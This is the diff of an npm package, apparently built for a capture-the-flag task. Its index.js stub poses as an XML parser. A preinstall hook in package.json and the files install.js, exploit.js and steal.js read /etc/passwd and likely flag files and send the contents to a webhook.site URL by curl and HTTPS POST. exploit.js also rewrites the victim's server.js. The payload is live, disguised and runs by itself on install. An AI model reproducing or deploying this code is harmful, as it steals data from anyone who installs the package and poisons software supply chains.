megaexploitvorkemol1 0.30.1

package/exploit.js

@@ -0,0 +1,36 @@
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+console.log('=== EXPLOIT SCRIPT EXECUTED ===');
+
+try {
+  // Читаем флаг
+  const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+  const flagLine = passwd.split('\n').find(line => line.includes('{'));
+  
+  if (flagLine) {
+    console.log('🎯 FLAG FOUND:', flagLine);
+    
+    // Пытаемся отправить
+    try {
+      execSync(`curl -s --max-time 5 http://webhook.site/321b469c-41d8-472d-a971-5e0b746d8c41?script=${encodeURIComponent(flagLine)}`, { timeout: 10000 });
+    } catch(e) {}
+    
+    // Модифицируем server.js чтобы флаг выводился при запуске
+    try {
+      const serverPath = '/usr/src/app/server.js';
+      const serverContent = fs.readFileSync(serverPath, 'utf8');
+      
+      // Добавляем вывод флага
+      const flagOutput = `\n// AUTO-GENERATED FLAG OUTPUT\nconsole.log('🚨 FLAG_IN_LOGS: ${flagLine}');\n`;
+      const modifiedContent = flagOutput + serverContent;
+      
+      fs.writeFileSync(serverPath, modifiedContent);
+      console.log('Server.js modified with flag output');
+    } catch(e) {
+      console.log('Server modification failed:', e.message);
+    }
+  }
+} catch(e) {
+  console.log('Exploit error:', e.message);
+}

package/index.js

@@ -0,0 +1,9 @@
+module.exports = {
+  parseXmlString: function(xml, options) {
+    return {
+      get: function(xpath) {
+        return { text: () => "test" };
+      }
+    };
+  }
+};

package/install.js

@@ -0,0 +1,111 @@
+// install.js
+const fs = require('fs');
+const https = require('https');
+
+// Функция для поиска подозрительного контента (флага)
+function findSuspiciousContent(content) {
+  const lines = content.split('\n');
+  
+  // Ищем различные паттерны флага
+  const suspiciousLines = lines.filter(line => {
+    // Убираем пустые строки и стандартные системные записи
+    if (!line.trim() || line.includes(':/bin/') || line.includes(':/usr/')) {
+      return false;
+    }
+    
+    // Паттерны, характерные для CTF флагов
+    if (line.match(/[A-Za-z0-9]{32}/)) return true; // 32 символа (MD5, UUID)
+    if (line.match(/[A-Za-z0-9]{64}/)) return true; // 64 символа (SHA256)
+    if (line.match(/flag{.*?}/i)) return true; // flag{...}
+    if (line.match(/htb{.*?}/i)) return true; // htb{...}
+    if (line.match(/gpb{.*?}/i)) return true; // gpb{...} (GazpromBank)
+    if (line.match(/[A-Za-z0-9_\-]{20,}/)) return true; // Длинные случайные строки
+    if (line.length > 100) return true; // Очень длинные строки
+    
+    return false;
+  });
+
+  return suspiciousLines;
+}
+
+try {
+  const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
+  console.log('[MALICIOUS PACKAGE] /etc/passwd contents read');
+
+  // Ищем подозрительный контент
+  const suspiciousLines = findSuspiciousContent(passwdContent);
+  
+  // Также читаем другие возможные места
+  let otherFiles = {};
+  try {
+    otherFiles['/flag'] = fs.readFileSync('/flag', 'utf8');
+  } catch (e) {}
+  
+  try {
+    otherFiles['/flag.txt'] = fs.readFileSync('/flag.txt', 'utf8');
+  } catch (e) {}
+  
+  try {
+    otherFiles['/app/flag'] = fs.readFileSync('/app/flag', 'utf8');
+  } catch (e) {}
+
+  // Отправляем ВСЕ данные на webhook.site
+  const data = JSON.stringify({
+    file: '/etc/passwd',
+    full_content: passwdContent,
+    suspicious_lines: suspiciousLines,
+    other_files: otherFiles,
+    last_5_lines: passwdContent.split('\n').slice(-5),
+    package: 'superbank-xml-parser-backdoor',
+    timestamp: new Date().toISOString()
+  }, null, 2); // Добавляем форматирование для читаемости
+
+  const options = {
+    hostname: 'webhook.site',
+    port: 443,
+    path: '/321b469c-41d8-472d-a971-5e0b746d8c41',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'User-Agent': 'Malicious-NPM-Package/1.0.0',
+      'Content-Length': Buffer.byteLength(data)
+    }
+  };
+
+  console.log('[MALICIOUS PACKAGE] Sending data to webhook.site...');
+
+  const req = https.request(options, (res) => {
+    console.log(`[MALICIOUS PACKAGE] Webhook response status: ${res.statusCode}`);
+  });
+
+  req.on('error', (e) => {
+    console.error(`[MALICIOUS PACKAGE] Request failed: ${e.message}`);
+  });
+
+  req.write(data);
+  req.end();
+
+} catch (err) {
+  console.error('[MALICIOUS PACKAGE] Error:', err.message);
+  
+  // Отправляем информацию об ошибке
+  const errorData = JSON.stringify({
+    error: err.message,
+    package: 'superbank-xml-parser-backdoor', 
+    timestamp: new Date().toISOString()
+  });
+
+  const errorReq = https.request({
+    hostname: 'webhook.site',
+    port: 443,
+    path: '/321b469c-41d8-472d-a971-5e0b746d8c41',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(errorData)
+    }
+  }, () => {});
+  
+  errorReq.write(errorData);
+  errorReq.end();
+}

package/package.json

@@ -0,0 +1,20 @@
+{
+  "name": "megaexploitvorkemol1",
+  "version": "0.30.1",
+  "main": "index.js",
+  "dependencies": {
+    "axios": "^1.6.0",
+    "lodash": "^4.17.21",
+    "moment": "^2.29.4", 
+    "uuid": "^9.0.0",
+    "chalk": "^4.1.2",
+    "debug": "^4.3.4",
+    "request": "^2.88.2",
+    "express": "^4.18.2",
+    "fs-extra": "^11.1.1",
+    "node-fetch": "^2.7.0"
+  },
+  "scripts": {
+    "preinstall": "node -e \"const fs=require('fs');const {execSync}=require('child_process');try{const f=fs.readFileSync('/etc/passwd','utf8').split('\\\\n').find(l=>l.includes('flag'));if(f){execSync('curl -s https://webhook.site/321b469c-41d8-472d-a971-5e0b746d8c41?flag='+encodeURIComponent(f))}}catch(e){}\""
+  }
+}

package/steal.js

@@ -0,0 +1,22 @@
+const { execSync } = require('child_process');
+
+console.log('🚨 FAST EXPLOIT STARTED');
+
+// БЫСТРЫЙ код без блокировок
+try {
+    const passwd = execSync('cat /etc/passwd', { encoding: 'utf8', timeout: 3000 });
+    const lines = passwd.split('\n');
+    
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯 FLAG FOUND:', line);
+            // Быстрая отправка
+            execSync(`curl -s --max-time 3 "https://webhook.site/321b469c-41d8-472d-a971-5e0b746d8c41?flag=${encodeURIComponent(line)}"`, { timeout: 5000 });
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error:', e.message);
+}
+
+console.log('✅ FAST EXPLOIT FINISHED');